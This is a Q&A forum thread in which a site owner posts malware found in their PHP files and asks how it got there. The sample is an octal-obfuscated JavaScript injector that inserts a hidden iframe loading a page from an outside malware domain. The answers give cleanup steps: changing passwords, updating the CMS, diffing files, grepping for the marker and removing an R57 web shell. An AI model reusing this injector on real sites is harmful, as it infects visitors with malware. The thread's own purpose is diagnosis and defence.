Found This Hack in my web server php files - virus

Question

How did i get them and what can i do to avoid this in the future?
#8f4d8e#
echo "<script type=\"text/javascript\" language=\"javascript\" >ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0145,0163,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0145,0163,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0141,0142,0163,0157,0154,0165,0164,0145,0147,0151,0146,0164,056,0143,0157,0155,057,0137,0160,0162,0151,0166,0141,0164,0145,057,0143,0154,0153,056,0160,0150,0160,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0145,0163,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0145,0163,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";
#/8f4d8e#

Answer 1

It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.

Answer 2

Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data.
If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded.
If you have no CMS, change your FTP & control panel passwords.
As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it.
To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.

Answer 3

this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux).
I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do.
Many of my files were infected with something like:
<?php
#8f4d8e#
...
#/8f4d8e#
?>
I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system.
If you have SSH access to the server go to your document root and search for all files containing the string:
grep -R "#8f4d8e#" .
You could also look for your version of the god.php file... look for traces of R57, for example by issuing:
grep -R "R57" .
Mine had a big ASCII art drawing of a bug at the beginning of the file.
I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company).
What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.